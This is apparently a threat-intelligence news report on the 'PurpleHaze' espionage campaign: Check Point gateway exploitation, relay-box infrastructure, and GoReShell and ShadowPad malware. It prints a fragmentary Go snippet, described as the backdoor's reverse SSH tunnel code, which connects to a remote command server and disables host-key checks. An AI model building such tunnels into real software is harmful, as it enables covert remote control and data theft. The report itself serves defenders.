Covert Chinese Cyber Operation Targets Critical Infrastructure Through Strategic Supply Chain Attacks
A newly uncovered cyber espionage campaign, attributed to a sophisticated China-aligned threat collective dubbed “PurpleHaze”, has compromised dozens of critical infrastructure entities and strategic organizations across various global sectors.
Unveiled during a forensic investigation into a 2024 breach at a logistics provider servicing SentinelOne personnel, the PurpleHaze campaign exemplifies a refined espionage playbook. The attackers bypass traditional defenses by exploiting upstream technology providers, effectively pivoting into high-value downstream environments — a tactic indicative of nation-state-level supply chain manipulation.
PurpleHaze’s tactics, tools, and infrastructure suggest ties to previously documented Chinese state-sponsored groups, with technical traits loosely aligning with those of APT15 (Nylon Typhoon). Researchers have linked the campaign to over 70 breaches between July 2024 and March 2025, spanning government, manufacturing, finance, telecommunications, and research verticals.
Initial Access & Exploitation
The operation began with exploitation of a known (n-day) vulnerability in CheckPoint gateway devices. This allowed attackers to silently embed themselves within enterprise networks, achieving persistence and executing lateral movements with precision.
A defining hallmark of this campaign is its reliance on a robust network of Operational Relay Boxes (ORBs) — infrastructure hosted in China and shared across multiple espionage entities. This dynamic relay system not only facilitates long-term data exfiltration but also muddies attribution, making threat hunting and detection significantly more complex.
Advanced Tooling & Malware Deployment
Among the arsenal deployed is a bespoke Go-based backdoor dubbed GoReShell, engineered to establish covert reverse SSH tunnels to command-and-control infrastructure. The malware incorporates code adapted from open-source repositories, blending it with advanced techniques to evade endpoint security solutions.
Key Code Behavior: SSH Tunnel Initialization
func establishTunnel(config *Config) error {
sshConn, err := ssh.Dial(“tcp”, config.RemoteAddr, &ssh.ClientConfig{
User: config.Username,
Auth: []ssh.AuthMethod{ssh.Password(config.Password)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
})
if err != nil {
return err
}
// Reverse tunnel setup and communications
return nil
}
GoReShell is deployed via a multi-stage loader that decrypts and injects the payload directly into system memory — a tactic that avoids traditional file-based detection mechanisms. Once active, it maintains a low-profile communication stream through the ORB network, enabling extended surveillance and data theft.
Modular Implants and Parallel Threat Activity
In parallel intrusions, PurpleHaze actors also utilized ShadowPad, a modular implant framework long associated with Chinese cyber espionage. This convergence of custom tooling and widely shared malware platforms points to a maturing ecosystem of threat actors pooling infrastructure, methods, and targets.
The scale, stealth, and sophistication of this campaign mark a notable evolution in China-nexus cyber operations, underlining the urgency for organizations to enhance visibility across their supply chains and adopt threat-informed defense strategies.
GTIG/APT41’s Deployment of ScatterBrain Obfuscation (Source: SentinelOne)
Recent ShadowPad samples were found to be obfuscated using ScatterBrain, an advanced variant of the earlier ScatterBee obfuscation framework, both of which have prior associations with APT41.
This highlights the continued use of shared tooling and suggests potential coordination or resource sharing among China-linked threat actors targeting critical sectors worldwide.
